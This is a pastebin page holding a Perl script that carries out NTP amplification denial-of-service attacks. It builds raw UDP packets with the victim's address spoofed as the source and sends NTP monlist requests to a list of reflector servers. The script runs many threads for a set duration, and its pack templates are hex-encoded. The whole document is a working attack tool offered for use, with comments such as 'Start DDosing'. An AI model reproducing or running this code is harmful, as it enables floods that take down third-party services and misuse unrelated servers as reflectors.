SHOW:
|
|
- or go back to the newest paste.
1 | use threads; | |
2 | use Socket; | |
3 | ||
4 | my $num_of_threads = $ARGV[5]; | |
5 | my $target = $ARGV[0]; | |
6 | my $udp_src_port = $ARGV[1]; | |
7 | my $time = $ARGV[2]; | |
8 | #Open Input List. | |
9 | my $openme = $ARGV[3]; | |
10 | open my $handle, '<', $openme; | |
11 | chomp(my @servers = <$handle>); | |
12 | close $handle; | |
13 | my $ppr = $ARGV[4]; | |
14 | my @threads = initThreads(); | |
15 | print "I guess im attacking $target for $time seconds with $num_of_threads threads\n"; | |
16 | ||
17 | #Does the list exist? | |
18 | if (-e $openme) { | |
19 | print "Using $openme as list.\n"; | |
20 | } | |
21 | unless (-e $openme) { | |
22 | print "List does not exist.\n"; | |
23 | exit(); | |
24 | } | |
25 | ||
26 | #Start Threading | |
27 | foreach(@threads){ | |
28 | $_ = threads->create(\&attackshit); | |
29 | } | |
30 | foreach(@threads){ | |
31 | $_->join(); | |
32 | } | |
33 | sub initThreads{ | |
34 | my @initThreads; | |
35 | for(my $i = 1;$i<=$num_of_threads;$i++){ | |
36 | push(@initThreads,$i); | |
37 | } | |
38 | return @initThreads; | |
39 | } | |
40 | ||
41 | ||
42 | #Start DDosing. | |
43 | sub attackshit{ | |
44 | ||
45 | alarm("$time"); | |
46 | repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4]; | |
47 | my $ip_src = ( gethostbyname($target) )[4]; | |
48 | socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!; | |
49 | setsockopt( RAW, 0, 1, 1 ); | |
50 | main(); | |
51 | ||
52 | sub main { | |
53 | my $packet; | |
54 | $packet = ip_header(); | |
55 | $packet .= udp_header(); | |
56 | $packet .= payload(); | |
57 | #send_packet($packet) && goto repeat; | |
58 | #send_packet($packet) | |
59 | for (1 .. $ppr) { | |
60 | send_packet($packet) or last; | |
61 | } | |
62 | goto repeat; | |
63 | } | |
64 | ||
65 | sub ip_header { | |
66 | my $ip_ver = 4; | |
67 | my $ip_header_len = 5; | |
68 | my $ip_tos = 0; | |
69 | my $ip_total_len = $ip_header_len + 20; | |
70 | my $ip_frag_id = 0; | |
71 | my $ip_frag_flag = "\x30\x31\x30"; | |
72 | my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"; | |
73 | my $ip_ttl = 255; | |
74 | my $ip_proto = 17; | |
75 | my $ip_checksum = 0; | |
76 | my $ip_header = pack( | |
77 | "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34", | |
78 | $ip_ver . $ip_header_len, $ip_tos, | |
79 | $ip_total_len, $ip_frag_id, | |
80 | $ip_frag_flag . $ip_frag_offset, $ip_ttl, | |
81 | $ip_proto, $ip_checksum, | |
82 | $ip_src, $ip_dst | |
83 | ); | |
84 | return $ip_header; | |
85 | } | |
86 | ||
87 | sub udp_header { | |
88 | my $udp_dst_port = 123; | |
89 | my $udp_len = 8 + length( payload() ); | |
90 | my $udp_checksum = 0; | |
91 | my $udp_header = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E", | |
92 | $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum ); | |
93 | return $udp_header; | |
94 | } | |
95 | ||
96 | sub payload { | |
97 | my $data = "\x17\x00\x03\x2a" . "\x00" x 4; | |
98 | my $payload = pack( "\x61" . length($data), $data ); | |
99 | return $payload; | |
100 | } | |
101 | ||
102 | sub send_packet { | |
103 | send( RAW, $_[0], 0, | |
104 | pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) ); | |
105 | } | |
106 | ||
107 | } |